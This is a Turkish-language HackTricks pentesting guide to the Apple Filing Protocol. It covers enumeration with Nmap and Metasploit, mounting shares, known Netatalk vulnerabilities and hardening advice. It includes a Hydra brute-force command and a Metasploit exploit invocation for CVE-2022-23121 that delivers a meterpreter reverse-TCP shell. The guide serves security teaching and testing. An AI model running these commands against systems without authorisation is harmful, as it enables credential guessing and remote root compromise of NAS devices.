548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Apple Filing Protocol (AFP), bir zamanlar AppleTalk Filing Protocol olarak bilinen, Apple File Service (AFS) içinde yer alan özel bir ağ protokolüdür. macOS ve klasik Mac OS için dosya hizmetleri sağlamak üzere tasarlanmıştır. AFP, Unicode dosya adlarını, POSIX tarzı ve ACL izinlerini, kaynak fork'larını, adlandırılmış genişletilmiş öznitelikleri ve karmaşık dosya kilitleme mekanizmalarını desteklemesiyle öne çıkar.
Modern macOS sürümlerinde AFP, SMB tarafından geçersiz kılınmış olsa da (SMB, OS X 10.9'dan beri varsayılan), hala aşağıdaki durumlarda karşılaşılmaktadır:
- Eski macOS / Mac OS 9 ortamları
- Açık kaynak Netatalk daemon'unu barındıran NAS cihazları (QNAP, Synology, Western Digital, TrueNAS…)
- Time-Machine-over-AFP'nin hala etkin olduğu karışık işletim sistemi ağları
Varsayılan TCP Portu: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Hızlı afiş / sunucu bilgisi
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Faydalı AFP NSE betikleri:
Betik | Ne yapar |
---|---|
afp-ls | Mevcut AFP hacimlerini ve dosyalarını listele |
afp-brute | AFP girişi için şifre brute-force yap |
afp-serverinfo | Sunucu adını, makine türünü, AFP sürümünü, desteklenen UAM'leri vb. dökümle |
afp-showmount | Paylaşımları ve bunların ACL'lerini listele |
afp-path-vuln | Dizin geçişini tespit eder (ve istismar edebilir), CVE-2010-0533 |
NSE brute-force betiği, daha fazla kontrol gerektiğinde Hydra/Medusa ile birleştirilebilir:
hydra -L users.txt -P passwords.txt afp://<IP>
Paylaşımlarla Etkileşim
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (kullanarak afpfs-ng
‑ çoğu dağıtımda paketlenmiştir)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Bir kez monte edildikten sonra, klasik Mac kaynak-kollarının gizli ._*
AppleDouble dosyaları olarak saklandığını unutmayın – bunlar genellikle DFIR araçlarının gözden kaçırdığı ilginç meta veriler içerir.
Yaygın Güvenlik Açıkları ve Sömürü
Netatalk kimlik doğrulamasız RCE zinciri (2022)
Birçok NAS satıcısı Netatalk ≤3.1.12 gönderdi. parse_entries()
içindeki sınır kontrolü eksikliği, bir saldırganın kötü niyetli bir AppleDouble başlığı oluşturmasına ve kimlik doğrulamasından önce uzaktan kök erişimi elde etmesine olanak tanır (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100'ü sömüren PoC ile NCC Group tarafından tam bir yazı mevcuttur.
Metasploit (>= 6.3), yükü DSI WRITE
aracılığıyla ileten exploit/linux/netatalk/parse_entries
modülünü içerir.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Eğer hedef etkilenen bir QNAP/Synology firmware'ı çalıştırıyorsa, başarılı bir istismar root olarak bir shell sağlar.
Netatalk OpenSession heap overflow (2018)
Eski Netatalk (3.0.0 - 3.1.11), DSI OpenSession işleyicisinde bir sınır dışı yazma açığına sahiptir ve bu, kimlik doğrulaması yapılmamış kod yürütülmesine izin verir (CVE-2018-1160). Detaylı bir analiz ve PoC Tenable Research tarafından yayımlandı.
Diğer dikkate değer sorunlar
- CVE-2022-22995 – AppleDouble v2 etkinleştirildiğinde (3.1.0 - 3.1.17) keyfi dosya yazma / RCE'ye yol açan symlink yönlendirmesi.
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP'de dizin geçişi (
afp-path-vuln.nse
tarafından tespit edildi). - Netatalk 4.x (2024)'te birden fazla bellek güvenliği hatası düzeltildi – bireysel CVE'leri yamanmak yerine yükseltme önerilir.
Savunma Önerileri
- AFP'yi devre dışı bırakın aksi takdirde kesinlikle gerekli değilse – bunun yerine SMB3 veya NFS kullanın.
- Eğer AFP kalması gerekiyorsa, Netatalk'ı ≥ 3.1.18 veya 4.x sürümüne yükseltin veya 2022/2023/2024 yamalarını geri taşıyan satıcı firmware'ını uygulayın.
- Güçlü UAM'leri (örneğin DHX2) zorunlu kılın, açık metin ve misafir girişlerini devre dışı bırakın.
- TCP 548'i güvenilir alt ağlarla sınırlayın ve AFP'yi uzaktan maruz kaldığında bir VPN içinde sarın.
- Düşük kaliteli / geri alınmış cihazları yakalamak için CI/CD'de periyodik olarak
nmap -p 548 --script afp-*
ile tarama yapın.
Brute-Force
Referanslar
- Netatalk Güvenlik Danışmanlığı CVE-2022-23121 – "parse_entries'de keyfi kod yürütme" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "18 Yıllık Bir Hatanın İstismarı (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.